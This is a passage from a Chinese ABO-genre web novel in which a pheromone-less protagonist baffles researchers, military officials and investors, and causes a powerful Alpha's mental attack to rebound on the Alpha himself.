高级研究员、军部指挥官、资本中年人几乎是肩并肩进来的,后面跟着一串人,各自的随从、助理、记录员,手里拿着各种设备——便携式信息素检测仪、精神波动记录器、微型摄像头、数据终端。 房间里瞬间变得拥挤。 各种仪器的灯光在空气里闪烁,红的、绿的、蓝的,交织成一片杂乱的光点。 “先说明一点。”军部指挥官开口,声音冷硬,“对象目前由军部全权保护,任何测试必须经过军部审批。” “审批流程可以后置。”高级研究员迅速接话,眼睛紧盯着齐司,像是盯着一块价值连城的未知矿石,“先采集基础数据,不涉及侵入性操作。” “基础数据也涉及知识产权归属。”资本中年人笑了一下,笑容却不达眼底,“我们可以先签一个三方框架协议——” 他们说话的同时,几个技术人员已经开始在房间里布置设备。 一台便携式信息素检测仪被推到床边,银白色的外壳在灯光下反着冷光,前端伸出一根细长的探头,探头顶端有一个透明的小罩,里面是极其敏感的纳米传感器。 “先做一次近距离信息素检测。”高级研究员示意技术员,“距离五厘米,连续采样三十秒。” 技术员戴着一次性手套,动作小心翼翼地把探头伸到齐司颈侧,刚好是腺体所在的位置。 透明小罩里亮起微弱的蓝光,代表传感器开始工作。 屏幕上,一条实时波动曲线缓慢滚动。 ——平直。 完全的平直。 没有任何起伏。 像是心电图上的一条直线。 技术员愣了一下,以为是设备故障,抬手拍了拍仪器侧面。 仪器发出一声不满的“滴”,屏幕上跳出一行提示:【设备运行正常。】 高级研究员俯身,盯着那条直线看了几秒,脸上的表情从期待变成错愕,最后变成一种近乎狂热的兴奋。 “……零。”他喃喃道,“完全的零。” “检测范围扩大。”他立刻下令,“全身信息素分布扫描,精度调到最高。” 技术员手忙脚乱地调整参数,仪器发出一阵轻微的嗡鸣声,探头上的蓝光变得更亮,扫描范围从颈侧扩散到周围空气。 屏幕上的数据疯狂跳动了一阵,最后又归于一条平直的线。 【信息素浓度:0。】 【类型:未定义。】 【备注:超出模型范围。】 “怎么会是零?”一个年轻的研究员忍不住出声,声音里带着压不住的惊恐,“就算是Beta,也会有基础信息素波动,哪怕是病理性缺失——” “闭嘴。”高级研究员打断他,眼睛一眨不眨地盯着屏幕,“这不是缺失,这是……不存在。” “信息素理论的前提是——”他像是自言自语,“所有人都在谱系内……可他在谱系外。” 军部指挥官没有插话,他的注意力更多在齐司身上。 这个在他们的等级体系里“无级别”的人,刚刚让一个高阶Alpha精神反噬。 这意味着,军方所有以信息素和精神域为基础的战术体系,在他面前都可能失效。 资本中年人则盯着仪器屏幕上的“未定义”三个字,眼神里闪过一丝极快的算计。 “未定义……”他低声重复,像是在咀嚼一个新项目的名字,“这意味着没有既定规则,没有既定市场,没有既定估值。” “我们可以制定。”他抬起头,笑容重新挂在脸上,“只要掌握了他。” 齐司听着他们在头顶上方来回抛出的词——“理论崩溃”“战术失效”“新市场”“独家专利”——感觉有点困。 他打了个小小的哈欠,没发出声音。 系统在他脑海里弹出一行新提示。 【检测到世界等级规则波动。】 【当前世界稳定度:92% → 81%。】 【请继续保持当前状态。】 门外,又有人被带了进来。 这一次,是一个Omega。 很年轻,穿着病号服,头发还带着刚洗完的湿气,额前几缕发丝贴在皮肤上,眼睛有点红,像是刚经历过一场不太愉快的发情期控制。 他一进门,空气里立刻多了一层甜腻的味道——那是Omega信息素特有的气息,被抑制剂压过一层,却依旧清晰。 白大褂立刻上前,给他戴上了一条带有抑制功能的颈环,颈环上的指示灯亮起,发出柔和的绿光。 “放松。”高级研究员语气温和,“我们只是做一个接触测试,你不会有任何危险。” Omega有些紧张,手指绞着病号服的下摆,眼神在房间里来回扫,最后落在床上的齐司身上。 那一瞬间,他的瞳孔微微放大了一点。 不是被信息素吸引的那种本能放大,而是看到一个陌生人时的下意识打量。 “让他靠近对象。”高级研究员对旁边的助手说,“距离从两米开始,每靠近五十厘米,记录一次生理指标和信息素波动。” 助手点头,开始在终端上设置记录频率。 Omega站在离床两米的位置,脚尖紧贴着地上的一条黄色安全线。 “心率?”高级研究员问。 “七十八,正常。”助手低头看着终端。 “信息素波动?” “基础波动,抑制剂有效。” “靠近。” Omega往前走了半步。 地面合金板在他脚下发出轻微的摩擦声,他的呼吸有一点点加快,是因为紧张。 “心率?” “八十二,略有上升。” “信息素波动?” “无异常。” “继续靠近。” Omega一步步往前走。

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“曲线平直。”助手把终端屏幕转过来给他看。 屏幕上,那条代表Omega信息素波动的线稳稳地贴在基线附近,像是被某种力量按住。 “让他触碰对象。”高级研究员咬了咬牙,“轻触手背,持续三秒。” Omega犹豫了一下,还是伸出手,指尖有点发抖。 他的手背轻轻碰到齐司的手背。 皮肤接触的一瞬间,按理说,Omega的腺体应该会有本能的微弱收缩,信息素会有一瞬间的波动,就算被抑制剂压着,也会在仪器上留下痕迹。 ——什么都没有。 助手的终端屏幕上,那条线连一点噪点都没有增加。 “……不可能。”高级研究员喉结滚动了一下,眼睛里第一次出现了真正意义上的“崩溃”——那种几十年构建的理论大厦在一瞬间塌陷的失重感,“这不符合任何一条已知规律。” “再确认一次设备。”他几乎是抓着助手的手,把终端按回他面前,“是不是坏了?” 助手手指发抖地在终端上调出自检程序,屏幕上跳出一串绿色的“正常”字样。 “设备运行正常。”助手声音发干,“环境参数正常,抑制剂浓度正常,Omega腺体功能正常。” “那为什么——”高级研究员的声音有点破音,“为什么他对对象完全没有信息素反应?!” 房间里一瞬间安静下来。 所有人的视线都集中在床上的齐司身上。 他被一圈仪器包围,探头、线缆、光点、屏幕,像是被放在手术台上的某种未知生物。 而他本人,靠在床头,眼神平静,呼吸均匀,像是在参加一个无聊的例行体检。 系统在他脑海里淡淡弹出新提示。 【世界等级规则崩塌进度:32%。】 【军方战术体系稳定度:68%。】 【信息素理论可信度:41%。】 【请继续保持当前状态。】 军部指挥官终于开口。 “无论他是什么,”他看向高级研究员和资本中年人,语气冷硬,“他都不再适用于现有的等级划分。” “Alpha、Beta、Omega的三元体系,在他身上失效。” “这意味着——”高级研究员接上他的话,声音有点发颤,“所有以信息素为基础的社会规则,都存在被推翻的可能。” “也意味着,”资本中年人慢慢说,眼神里闪着一种危险的兴奋,“所有以信息素为基础的垄断,都可以被重新分配。” 三方在这一刻,罕见地达成了一种诡异的一致—— 这个躺在床上的人,是一个足以让世界重启规则的变量。 他们都想要。 “我们需要一个联合项目。”高级研究员迅速调整思路,“军方提供安全和控制,科研负责理论重建,资本负责资源和推广。” “对象的归属权呢?”资本中年人问。 “军部。”指挥官毫不犹豫。 “科研总院。”高级研究员同时开口。 他们的声音在空气里撞在一起,火花四溅。 齐司听到“归属权”三个字,眉毛几乎不可察觉地动了一下。 他抬手看了一眼腕带上的时间。 离下班,还有三个小时。 他有点想回家。 但他不打算主动说。 不参与,不理会,不拒绝,不负责。 这是他在这个世界的工作守则。 外面的世界可以因为他乱成一团,理论可以崩溃,等级可以塌陷,权力可以重组。 他只需要躺着。 系统在他脑海里安静地更新数据。 【任务进度:27%。】 【当前行为符合任务要求。】 【请继续保持当前状态。】 “归属权”的争执没有继续下去。 因为下一秒,空气里的味道突然变了。 不是信息素的味道,而是一种更高一层、几乎无形的精神压力,像是从天花板上压下来的透明水泥板,冷硬、沉重、无孔不入。 走廊尽头,一道军绿色的身影慢慢走过来。 军靴踩在合金地板上的声音清晰得近乎刻意,每一步都像是敲在所有人的后颈上。 “高阶Alpha……”有人低声吸气。 那是军部的王牌——登记在册的S级Alpha,精神力测试记录里唯一一条“超出量程”的红色警示。 他身上的军装剪裁锋利,肩章上金属徽章在冷白灯下反着光,短发利落,眼神像刀一样扫过走廊。 他没有说话,只是站定在齐司对面。 空气瞬间被绷紧。 走廊两侧的监控摄像头自动调焦,镜头里,所有人都不自觉挺直了背,呼吸放轻,像是被某种无形的命令牵着。 只有一个人例外。 齐司靠在走廊金属墙上,姿势懒散,后脑勺轻轻抵着冰凉的合金,双手插在口袋里,眼皮半垂,像是在等车。 高阶Alpha抬起眼,视线落在齐司身上。 那一瞬间,精神力像是被扔进真空里的高压电流,轰然炸开。 无形的波动从他身上扩散出去,像一道透明的冲击波,沿着走廊狂暴席卷。 灯光肉眼可见地闪了一下,头顶的灯管发出细微的“滋滋”声,电流被短暂干扰。 墙壁里嵌着的线路监测条瞬间亮起一整排红色警示灯,伴随着急促的“滴滴滴——”。 最近的几个普通Alpha和Beta几乎是同时脸色发白,后颈一阵发麻,膝盖发软,条件反射地想跪下去。 Omega更是直接被压得后背贴上墙,指尖发抖,喉咙里发出被压制的呜咽声,信息素腺体本能地收缩,像是遭遇天敌。 走廊里的空气变得粘稠,呼吸困难。 只有齐司,连睫毛都没抖一下。 精神压力像是撞上了一块黑洞。 没有波纹,没有反馈,没有任何“接触”的感觉。 高阶Alpha的精神力在接触到齐司的那一刻,像是整片海啸扑向一个不存在的世界——所有的力量都扑了个空。 那种感觉极其诡异。 就像用尽全力挥出一拳,却打进了绝对的虚无里,连空气的阻力都没有。 精神力本能地试图抓住什么,扩散、探查、缠绕、压制。 结果什么都抓不到。 一片空白。 高阶Alpha的瞳孔在极短的一瞬间微微收缩。 他加大了力度。 精神力像是被强行拧紧的钢缆,继续向前推进,试图突破那片“空白”。 走廊尽头的玻璃窗震动了一下,窗框里嵌着的防爆条发出细微的咔嚓声,几乎要被震裂。 墙壁上的应急指示灯闪烁不定,系统自动调节电压,试图稳定环境。 齐司依旧靠在墙上,姿势没变,眼神平静地落在对面人的肩章上,像是在看一件商品的标签。 他甚至有点困。 精神力在他面前像是被吞噬。 高阶Alpha的精神世界里,突然出现了一种极不正常的“回声”。 3. 第 3 章 不是对方的反击,而是—— 自己的精神力开始反折回来。 像是一条被抛出去的鞭子,前端被某个看不见的点吞没,后半截却被惯性抽回,狠狠甩在自己身上。 那种感觉极其尖锐。 精神海深处传来一阵刺痛,像是被硬生生撕开一道细小的裂缝。 高阶Alpha的手指微微一抖。 他下意识咬紧后槽牙,额角青筋浮起,眼底闪过一瞬的惊诧——紧接着是更猛烈的精神冲击,试图压住那股反噬。 但精神力的结构是有惯性的。 他越是加码,反折回来的力道就越大。 精神海里的裂缝被撕扯得更开了一点,刺痛变成了钝痛,随后是隐隐的眩晕。 走廊里的空气突然一轻。 刚才还被压得几乎喘不过气来的几个人猛地吸了一口气,像是从水下被拽出来。 “精神波动……不对!”不远处的科研人员眼睛死死盯着腕上的监测终端。 终端屏幕上,精神力曲线疯狂跳动,最高点直接冲破了上限,整条曲线被系统粗暴截断,屏幕上闪烁着“ERROR”“OUT OF RANGE”的红字。 但那条曲线的走向非常诡异。 前半段是典型的高阶Alpha压制输出曲线,后半段却突然反向折回,像是被什么东西“折断”,数值从高位急速坠落,甚至出现了负值。 “负向波动?怎么可能会有负向波动?!”研究员声音发干。 高阶Alpha的呼吸开始不稳。 他站得笔直的身体微微晃了一下,喉结滚动,额头上渗出一层细汗。 精神海深处的裂缝在持续扩大,像是被某种看不见的力量不断撕扯。 那股力量不是外来的攻击,而是——他自己刚刚释放出去的精神力,在无处着力的情况下,反噬回来的残余。 他被自己的力量伤到了。 走廊里一片死寂。 所有人都看着他,眼神里写满了不敢置信。 高阶Alpha的视线再次落在齐司身上。 那双眼睛里第一次出现了真正意义上的“看不懂”。 齐司抬眼,和他对视了一秒。 那一秒里,他的眼神很简单—— “你干嘛。” 没有挑衅,没有防备,没有任何Alpha之间常见的本能对抗。 平静得像是在看一个突然在办公区中间做俯卧撑的同事。 高阶Alpha的精神力在那一瞬间彻底崩了。 不是被攻击,而是被自己的逻辑击穿。 他的精神世界里,所有关于“压制”“优势”“等级”的基础认知,在面对这片绝对空白时,全部失效。 失效带来的结果,就是系统性紊乱。 精神海深处的裂缝猛地扩大了一圈,疼痛瞬间被放大,像是有人拿着刀在他脑子里划了一下。 他闷哼一声,膝盖一软,单手撑在墙上,军靴在地面上发出一声沉闷的响声。 走廊里几乎同时响起一片惊呼。 “长官!” “精神反噬?!” “快,精神稳定剂——” 几个军医从后面冲过来,白色的急救箱砸在地上,合金扣子被粗暴掀开,里面一排排精神稳定注射器整齐排列,透明的药液在冷光下微微晃动。 军医的手有点抖,连忙抽出一支,熟练地拔掉针帽,扶住高阶Alpha的手臂,针头扎进青筋暴起的血管里。 药液推进去的瞬间,高阶Alpha的呼吸才慢慢平稳下来。 他额头上的冷汗顺着鬓角滑下,滴在地面上,溅出极小的水痕。 走廊里所有人都看向齐司。 那种目光已经不是单纯的“好奇”或者“警惕”,而是—— 彻底的认知崩塌之后的茫然。 “他……没有释放任何精神力。”科研总院那边的高级研究员声音发干,像是在自言自语,“监测仪器没有捕捉到任何波动……完全是单向输出……怎么会反噬?” “精神压制只能在对方有精神防御、反击、抵抗的时候才会出现反噬。”另一个研究员机械地背诵着教科书,“对象没有精神力波动,就等于一块石头……对石头释放压制,不可能有反噬……” “可刚刚发生了。”有人喃喃。 走廊尽头,墙壁上嵌着的精神力监测屏幕还在闪烁红光,系统不断重启,试图重新校准数据。 每一次重启,屏幕上都会短暂出现刚才那条诡异的曲线——高位输出,突然折返,负向波动,系统崩溃。 “理论不成立了。”高级研究员喉结滚动了一下,声音低哑,“至少,在他身上。” 他抬眼看向齐司。 齐司已经把视线从高阶Alpha身上移开,重新看了一眼腕带上的时间。 离下班,还有两小时五十七分钟。 他有点饿。 但他不打算开口。 不参与,不理会,不拒绝,不负责。 他只是站在那里,像是一块安静的、不合规格的石头,被丢进了整个ABO体系构建的精密机械里。 齿轮开始卡顿。 —— 高阶Alpha被军医搀扶着离开,走廊里的空气渐渐恢复正常。 但所有人的视线都没有从齐司身上移开。 尤其是那几个Omega。 他们原本被精神压制压得几乎站不稳,此刻却下意识往齐司这边靠了一点。 不是出于依赖,也不是出于本能的“向高阶Alpha靠拢”的习惯性动作。 而是—— 他这边,安静。 没有任何信息素的味道,没有任何精神压力,没有任何Alpha的侵略性。 像是一块真空地带。 一个Omega被同伴扶着,脚步虚浮地走到齐司旁边,肩膀几乎擦到他的手臂。 按照所有已知的理论,这种距离,这种接触,这种状态下,Omega的信息素腺体应该会有反应—— 心率加快,体温微升,腺体轻微肿胀,甚至会有极轻微的发情前兆。 但什么都没有。 Omega的呼吸很平稳,甚至因为刚才的压制解除而有点疲惫,他靠在墙上,闭了闭眼,像是在休息。 没有脸红,没有颤抖,没有信息素外泄。 他身上淡淡的柑橘味Omega信息素在空气里散开,又很快平静下来,没有被任何Alpha的信息素激发、牵引、缠绕。 齐司身上,依旧是空白。 那种空白不是“味道很淡”,而是—— 完全不存在。 就像他是一个不属于这个体系的物体,被硬生生塞进了一个必须通过“信息素”来定义一切的世界。 “靠这么近……他的信息素浓度为什么没有变化?”一个白大褂忍不住掏出便携式信息素浓度检测仪。 那是一块巴掌大小的银色小仪器,表面光滑,边缘有一圈蓝色的感应灯。 他把仪器凑近Omega的颈侧,□□亮起,屏幕上跳出一串数字。 【Omega信息素浓度:基础值略高,波动正常。】 然后他又把仪器缓慢移向齐司。 □□依旧亮着,表示检测范围内有信息素存在。 但屏幕上的数据却诡异地停在一串零上。 【Alpha信息素浓度:0。】 “可能是仪器坏了。”旁边的人下意识说。 “刚才测长官的时候还正常。”白大褂的声音有点发干。 他皱着眉,又把仪器往前挪了一点,几乎贴在齐司的颈侧。 齐司没有躲。 他只是微微偏了偏头,让对方操作更方便一点——这样他们会更快结束,他就可以继续站着发呆。 仪器的□□亮得更亮了,表示已经进入最敏感的检测距离。 屏幕上的数字依旧是一串零。 甚至连“误差值”都没有。 “再测一次。”有人说。 白大褂退出检测界面,重新启动程序,系统界面从头加载,进度条缓慢走完。 【系统自检:通过。】 【校准:通过。】 【环境基线信息素浓度:正常。】 他深吸一口气,重新把仪器凑过去。 【Alpha信息素浓度:0。】 “这不可能。”他喃喃。 “换一台。”科研总院那边的人已经从后面推来一辆小型仪器车,上面整齐摆着三台不同型号的检测设备,从便携式到半固定式一应俱全。 银色的,黑色的,透明外壳能看到内部精密芯片的。 他们像是在做某种仪式一样,一台一台打开,一台一台对准齐司。 □□、绿灯、红灯,各种颜色的指示灯在他周围闪烁,冷白灯下,光线在他侧脸和颈侧的皮肤上跳动。 所有屏幕上,关于他的那一栏,都是同样的结果。 【Alpha信息素:未检测到。】 【Beta信息素:未检测到。】 【Omega信息素:未检测到。】 【信息素类型:不明 / 不存在。】 【建议:检查仪器。】 “仪器没问题。”一个中年研究员盯着数据,眼睛里布满血丝,“环境基线、旁边的Omega、远处的Alpha,全部正常,只有他——” “他不在ABO谱系上。”另一个人接话,声音发干。 “这不可能。”有人机械重复。 “不可能已经发生了。”高级研究员的声音低沉,“所有关于信息素的医学理论,都建立在‘所有人都有信息素’这个前提上。” 他抬眼,看向齐司。 “而他,打破了这个前提。” —— 医学界的崩溃不是一瞬间爆发的,而是像一栋被悄悄抽掉承重墙的高楼,从内部开始,缓慢、系统性地塌陷。 走廊尽头的玻璃门后,是一间临时改造出来的观察室。 透明的合金玻璃把里面和外面隔开,玻璃内侧有一层淡淡的防窥涂层,在灯光下泛着冷淡的银色。 齐司坐在里面。 椅子是标准的军部会议椅,黑色皮面,金属椅脚,靠背略硬。 他往后靠了靠,找到一个可以让肩胛骨完全贴住靠背、腰部不用发力的角度,然后安静地坐着。 观察室的空气很干净,带着消毒水和金属的味道,空调出风口里吹出来的风温度恒定,略微偏冷。 他把手搭在椅子扶手上,指尖轻轻敲了两下。 外面,一整排科研、军方、资本代表站在玻璃后面。 他们的脸被玻璃上的反光切割成一块块,表情复杂,眼神灼热。 “我们需要对他做全套信息素相关检查。”科研总院的高级研究员开口,声音压得很低,但每一个字都带着难以掩饰的兴奋,“包括但不限于腺体结构扫描、精神海成像、基因序列比对、内分泌全谱分析——” “前提是,他同意。”军部指挥官冷冷打断。 “他是军部登记在册的Alpha。”高级研究员反驳,“军部有义务配合国家科研计划。” “他是军部的人。”指挥官强调,“优先级在科研之上。” “资本可以提供最顶级的设备和资金。”一直沉默的资本中年人终于开口,语气平静,“我们有私人实验室,有不受行政流程限制的审批通道,有最快速的成果转化渠道。” 他看着玻璃里的齐司,眼神像是在看一座尚未开发的金矿。 “我们可以保证他的人身安全、生活质量和隐私保护。” “你们能保证不把他拆开研究吗?”军部指挥官冷笑。 “我们也不会。”高级研究员皱眉,“他是活体样本,拆开就失去了意义。” 三方的视线在空中交错,空气里的火药味肉眼可见地浓了。 “归属权的问题还没解决。”资本中年人提醒。 “军部。”指挥官重复。 “科研总院。”高级研究员不退让。 “资本可以投资军部和科研总院。”资本中年人慢条斯理,“前提是——研究主导权归我们。” “做梦。”军部和科研几乎同时开口。 玻璃另一侧,齐司打了个哈欠。 他没有张嘴,喉咙里也没有发出声音,只是下颌线微微动了一下,眼尾轻轻眯起。 系统在他脑海里弹出一行小字。 【当前环境:高压谈判。】 【建议行为:维持现状。】 【任务进度:31%。】 他看了一眼虚拟界面,又看了一眼腕带上的时间。 离下班,还有两小时三十九分钟。 他想回家,洗个澡,躺在沙发上刷剧。 但他不打算说。 —— “我们先做基础检查。”高级研究员压下和军部、资本的争执,重新把注意力拉回正题,“不涉及侵入性操作,只是采集数据。” “可以。”军部指挥官点头,“前提是,所有数据军部同步备份。” “科研总院有最终解释权。”高级研究员反击。 “资本需要实时接入。”资本中年人补刀。 三方迅速达成了一种诡异的平衡—— 他们彼此不信任,却又都不敢在这个节点上被排除在外。 因为谁都知道,谁先拿到关于齐司的完整数据,谁就有可能在接下来整个世界的权力重组中占据绝对优势。 观察室的门被打开。 一个戴着口罩和护目镜的年轻医技人员小心翼翼走进来,手里推着一辆小推车,上面摆着各种检测设备。 银色的便携式扫描仪,透明外壳的微型血液分析仪,细长的精神波动记录器,还有几支一次性采血针。 她的动作很轻,推车的轮子经过地面时几乎没有声音。 靠近齐司的时候,她下意识放慢了呼吸。 按照所有既有的经验,靠近一个Alpha,尤其是在这样封闭的空间里,Omega或者普通Beta都会本能紧张,身体会有细微的反应。 但她没有。 她只是单纯因为“对象太特殊”而紧张。 没有任何来自信息素的压迫感。 她甚至有余裕在心里吐槽了一句:这个人身上,连洗衣液的味道都比信息素明显。 “请伸手。”她尽量让自己的声音听起来专业而冷静。 齐司抬眼,看了她一眼。 那一眼很平静,没有任何“Alpha看Omega”的本能俯视,也没有“上级看下级”的习惯性审视。 只是单纯地——看了一眼。 然后,他把手伸了过去。 手背的皮肤很白,静脉在皮下隐约可见,指节分明,骨节线条干净。 年轻医技人员的耳尖有点热。 不是发情,也不是被信息素影响。 只是单纯的——视觉冲击。 她迅速调整好状态,戴好一次性手套,拿起采血针,消毒,扎针,抽血,一系列动作熟练而迅速。 透明的血液管里,深红色的血液缓缓爬升,带着一点点温度。 外面的科研人员几乎是贴在玻璃上看。 “血液分析可以最先出结果。”有人低声说,“如果他的基因序列和普通Alpha不同,那我们就有了第一手证据。” “信息素相关基因是ABO体系的核心。”另一个人接话,“如果他没有这部分基因——” “那我们所有的教科书都得重写。”高级研究员的声音里带着一种压抑不住的兴奋。 军部那边的人则更多是在计算—— 如果信息素不再是决定战斗力和指挥权的唯一标准,那么军衔体系、选拔机制、训练模式,都要重构。 资本中年人则在心里飞快推演—— 如果信息素不再是唯一的“稀缺资源”,那么围绕信息素建立起来的所有产业链——抑制剂、诱导剂、配对服务、等级认证、婚配市场——都会在未来几年内发生翻天覆地的变化。 而掌握“新规则”的人,将掌握新的财富密码。 玻璃内外,两套完全不同的算计在同时运转。 只有齐司,安静地坐着。 血被抽完,采血针拔出来,棉球按在针眼上。 “按住一分钟。”年轻医技人员轻声提醒。 齐司抬起另一只手,按住。 动作很听话,很配合。 但他的眼神依旧落在腕带上的时间上。 离下班,还有两小时二十七分钟。 —— 血液分析结果很快出来了。 观察室外的走廊尽头,临时搭建的移动实验台上,一台银白色的血液分析仪正在运转。 透明的舱门里,可以看到微小的试剂管在机械臂的操控下被精准滴加,混合,离心。 屏幕上,一串串数据飞快跳动,最终停在一页密密麻麻的基因序列图上。 “信息素相关基因片段……”一个研究员的手指在屏幕上滑动,眼睛迅速扫描,“这里,这里,还有这里——” 他突然停住。 “没有。”他喃喃。 “怎么可能没有?”旁边的人下意识反驳。 “不是缺失,是——”研究员深吸一口气,努力让自己的声音保持平稳,“是完全不一样。” 屏幕上,代表信息素相关基因的那一段区域,本应该是所有ABO个体都高度相似的序列。 而现在,那一段被完全替换成了另一种排列。 不是突变,不是缺失,不是损坏。 而是——另一个体系。 “这不是ABO谱系内的任何一种已知变体。”高级研究员的声音有点发哑,“他不是Alpha,不是Beta,不是Omega。” “那他是什么?”有人问。 没人回答得出来。 —— 消息在系统内部以一种极快的速度扩散。 军部的加密频道里,关于“异常个体”的报告被标记为最高优先级,红色的“紧急”标签在屏幕上闪烁。 科研总院的内部论坛上,一条被设置为“仅限核心成员可见”的帖子被迅速顶上首页,标题简单粗暴: 【信息素理论基础存疑。】 资本那边,几封带着高额预算数字的邮件在高层之间来回流转,主题都是同一个名字—— 齐司。 三方开始同步盯上他。 —— “我们需要对他进行长期观察。”科研总院的高级研究员再次开口,语气里带着不容置疑的坚定,“这不是一两次实验能解决的问题。” “军部同意。”指挥官点头,“但观察地点必须在军部控制范围内。” “科研总院有更专业的设施。”高级研究员皱眉。 “资本可以提供一座全封闭的私人研究岛。”资本中年人慢条斯理,“海上,远离城市,安全,保密。” 三方的视线再次在空气里碰撞。 “你们想把他带走?”军部指挥官冷笑,“做梦。” “你们想把他关在军部?”高级研究员反击,“那科研总院呢?” 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信息素等级认证中心的后台数据里,关于“异常样本”的标记从一个变成了十几个—— 不是因为出现了更多像齐司这样的人,而是因为所有检测仪器在对他进行多次重复检测时,全部报错。 系统为了避免崩溃,只能把所有相关数据暂时归类为“异常”。 而“异常”这个标签,会自动触发一系列系统流程—— 包括但不限于:重新评估等级标准,重新设定检测阈值,重新校准基线数据。 每一次重新校准,都会让原本清晰的等级分界线变得模糊一点。 原本稳固的“Alpha > Beta > Omega”的金字塔结构,在数据层面开始出现裂缝。 医学界、军方、资本三方都在试图用自己的方式,给这座摇晃的金字塔加固。 但他们不知道的是—— 那块被抽掉的承重石,正安静地坐在一间观察室里,打了个小盹。 齐司靠在椅背上,头微微偏着,呼吸平稳,眼皮轻轻垂着。 观察室的灯光柔和,空调的风温度刚好,椅子的硬度在长时间坐着之后反而有一种奇异的支撑感。 他没有睡死,只是进入了一种半醒半睡的状态。 系统在他脑海里安静地滚动数据。 【外界混乱指数:持续上升。】 【宿主参与度:0。】 【任务进度:42%。】 离下班,还有一小时五十分钟。 门外的走廊忽然一阵骚动。 脚步声从远到近,皮靴敲击合金地板的节奏又急又重,像一串被打乱的鼓点。空气里原本稳定的消毒水味道,被一股更冷硬的金属气息压过去,像是刀锋在玻璃上划过的错觉。 观察室的门锁灯从绿色跳到红色,又从红色闪烁到整条走廊联动的黄色警示。 齐司睁开眼。 他抬眼的动作很慢,像是从一个不太重要的梦里抽身。视线从天花板的嵌灯滑到对面的单向玻璃,再落回自己膝盖上那条还没完全散掉的白色静电痕迹。 系统在脑海里轻轻一震。 【高阶Alpha精神域波动检测:异常增强。】 【外界混乱指数:+7%。】 门被外部权限强制解锁。 “嘀——” 机械锁舌缩回去的声音被一股更高等级的权限覆盖,门板向内滑开,一股冷风从走廊灌进来,带着外面更浓的消毒水味、机油味,还有一层几乎要凝成实体的、属于高阶Alpha的压迫感。 站在门口的是军方的人。 黑色战术制服,肩章上银色的双翼标志在灯光下反着冷光。对方身形高大,肩背线条绷得笔直,短发利落,眼睛颜色偏浅,像被冷水洗过的灰琥珀。 他进门的瞬间,空气像被无形的手按了一下。 精神力扩散。 无声无形,却像一场骤然压下来的气压暴风,从天花板一路碾压到地板。观察室里所有的监控探头、感应器、墙角的空气质量检测仪,屏幕上的波形图同时开始抖动,线条从平稳的波浪变成密集的锯齿。 门外的走廊,隔着一整面单向玻璃,几排科研人员和军方观测员盯着主控屏幕。 精神域监测仪的主屏上,一条代表高阶Alpha的红色曲线正在疯狂上冲,数值从“7.3”一路飙到“9.8”,接近理论上限。 “上将的精神域全开了……” “这是要直接压制?” “他疯了?那个人的等级还没测出来——” “闭嘴,记录数据!” 走廊里的空气也紧绷起来。有人下意识屏住呼吸,有人手指在悬空键盘上飞快敲击,试图在这短短几秒里抓住每一个异常波动。 而观察室里,齐司只是把视线从对方肩章上那道划痕,移到对方脸上。 他眨了下眼。 没有任何防御,没有任何反击,也没有任何“被压制”的生理反应。 心跳平稳,血压正常,瞳孔直径无变化,肌肉电位曲线平直得像一条死线。 精神力风暴撞上去的那一刻—— 像一拳打进了棉花里。 不,甚至不是棉花,是一片空无。 高阶Alpha的精神域在接触到齐司的那一瞬间,所有预设的“压制—锁定—标记”流程全部失效,像是程序运行到一半突然找不到目标文件。 “……?” 那股精神力本能地加大输出。 红色曲线在监测屏上越冲越高,数值从“9.8”跳到“10.1”,突破理论上限,警报灯在屏幕边缘一圈圈闪烁,系统开始自动弹出红色警示框: 【警告:精神域输出超过安全阈值。】 【警告:检测到自我回路闭合风险。】 【建议:立即中止精神压制行为。】 但精神力已经出去了。 找不到目标,就在空无里兜了一圈,又被本能的“锁定”机制强行拉回原点。 ——精神回路反噬。 高阶Alpha的瞳孔猛地一缩。 那种感觉像是用尽全力把一根绷到极致的弓弦拉满,却发现对面没有箭靶,弓弦在空中猛地弹回,全部冲击力从指尖一路反震到肩胛骨,再顺着脊柱直冲大脑。 他的呼吸一滞,喉结狠狠滚了一下。 太阳穴像被人从里面捏住,耳边的嗡鸣声迅速放大,所有感官在短时间内被自己的精神力淹没。 外界的声音远远近近地叠在一起: “精神波形反噬了!” “数值在回落……不对,是内卷!” “他在被自己的精神域压制——这不可能!” “记录!全部记录!” 走廊上的科研人员几乎是贴在玻璃上看。 主屏幕上,红色曲线在冲到一个不可思议的峰值后,突然折返,以同样夸张的速度向下坠落,又在接近基线时剧烈震荡,像是被困在一个封闭的回路里,来回弹跳。 高阶Alpha的身体微微晃了一下。 他下意识抬手扶住额头,指节因为用力而泛白,呼吸变得粗重,肩膀起伏明显。额角的青筋鼓起来,汗水在短短几秒内从发际线渗出,沿着鬓角滑下,打湿了制服领口。 他眼前的景象开始重影。 而距离他不到两米的齐司,坐姿没变,背靠椅背,手臂自然搭在扶手上,眼神平静地落在对方脸上,像是在看一段无声的演出。 系统的提示音在他脑海里很规矩地响了一下。 【检测到高阶Alpha精神域自发反噬。】 【宿主受影响程度:0。】 【外界混乱指数:+12%。】 【任务进度:45%。】 齐司垂下眼,视线从对方紧绷的下颌线移开,落到自己腕表上。 离下班,还有一小时四十三分钟。 他轻轻呼了一口气,像是在确认时间,而不是在回应眼前这场精神力风暴。 高阶Alpha的呼吸开始不稳。 精神域的自我回路在他脑内疯狂运转,每一次循环都带来一阵刺痛和眩晕。他试图抽离,试图收回那股已经失控的精神力,但所有训练过的“撤回—封闭—重置”步骤此刻都像被人从程序里删掉,只剩下一个不断自我叠加的死循环。 “……咳。” 他低声咳了一下,声音沙哑,像是喉咙被砂纸磨过。 膝盖微微一软。 就在他身体要向前栽去的瞬间,观察室天花板上的应急系统被联动触发,四角同时弹出四个银色的机械臂,像蜘蛛腿一样迅速伸展开来,悬停在他身体周围。 “滴——滴——滴——” 精神过载警报在室内响起,音调尖锐,频率极高。 机械臂末端的圆形探头亮起蓝色冷光,一道道细微的电弧在空气中跳跃,快速编织成一个半透明的抑制场,将高阶Alpha整个人笼罩进去。 精神域被强制压制。 红色曲线在主屏幕上被系统粗暴地截断,数值从疯狂震荡变成被硬生生按回安全线以下。 高阶Alpha的身体重重跪在地上,一只手撑着地板,另一只手还维持着扶额的姿势,指节颤抖,呼吸像是刚从水里被人捞上来。 汗水顺着下巴一滴一滴落在地板上,溅出细小的水花。 4. 第 4 章 他抬头,看向齐司。 眼神里有短暂的茫然,随后是难以置信,最后被一种复杂的情绪覆盖——那里面有挫败、有震惊,也有对自己精神域失控的恐惧。 “你——” 